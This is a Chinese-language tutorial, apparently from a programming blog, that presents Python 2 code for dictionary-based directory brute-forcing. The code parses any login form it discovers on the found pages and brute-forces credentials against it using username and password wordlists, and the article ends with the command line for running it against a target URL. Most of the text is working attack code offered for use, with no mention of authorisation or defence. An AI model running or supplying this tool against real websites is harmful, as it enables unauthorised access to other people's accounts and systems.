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首先是利用python遍历路径,采用字典爆破的形式,当然如果只是单纯的爆破路径,简单写一个多线程脚本就行了。这里考虑如何对爆破到的路径进行第二步利用,此处尝试对猜解到的路径进行表单发现及登陆爆破处理。

"htmlcode">

    while not self._queue.empty():
      queue = self._queue.get(timeout=0.5)
      try:
        r = requests.get(self.url+queue,timeout=5, headers=self.headers)
        if r.status_code == 200:
          print "[200] %s" %(queue)
          soup = BeautifulSoup(r.content,'html.parser')
          if soup.find('form'):
            self.brute(soup, queue)

猜解到路径后交给brute方法处理,方法实现了一个css选择器,获取form表单中的input字段标签,提取标签参数组合成post参数值,然后提取表单中的action跳转页面,如没有页面默认在当前表单页提交。

input = soup.select("form input")
      for i in input:
        try:
          if i.attrs['type'] == "hidden":
            name, value = i.attrs['name'], i.attrs['value']
            list_post.append(name+'='+value)
          elif i.attrs['type'] == 'password':
            name = i.attrs['name']
            list_post.append(name+'=$$$')
          else:
            name = i.attrs['name']
            list_post.append(name+'=%%%')
        except:
          continue
      for i in list_post:
        post = post + i + '&'
      action = soup.find_all('form')
      for i in action:
        if i['action']:
          actiontag = i['action']
        else:
          actiontag = queue
      self.payload(post, actiontag)

获取参数值后,交给payload方法处理登陆,采用requests库的session登陆。获取cookie,先采用session请求获取cookie后,再采用session携带cookie进行请求提交。然后对输入的验证值进行判断是否为登陆成功。

    for name in self.username():
      post_user = post.replace('%%%',name.strip())
      for pwd in self.password():
        post_pwd = post_user.replace('$$$',pwd.strip())
        session = requests.Session()
        session.get(self.url+'/'+action, headers=self.headers, verify=False)
        r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False)
        if self.word in r.content:
          print '[username] %s' %name +'\r' + '[password] %s' %pwd
          return

为了判断是否登陆成功,采用的人为输入判断字符串的形式。也就是脚本执行形式为

python xxx.py http://xxxx.com xxxxx

以上就是python遍历路径破解表单的示例的详细内容,更多关于python 破解表单的资料请关注其它相关文章!

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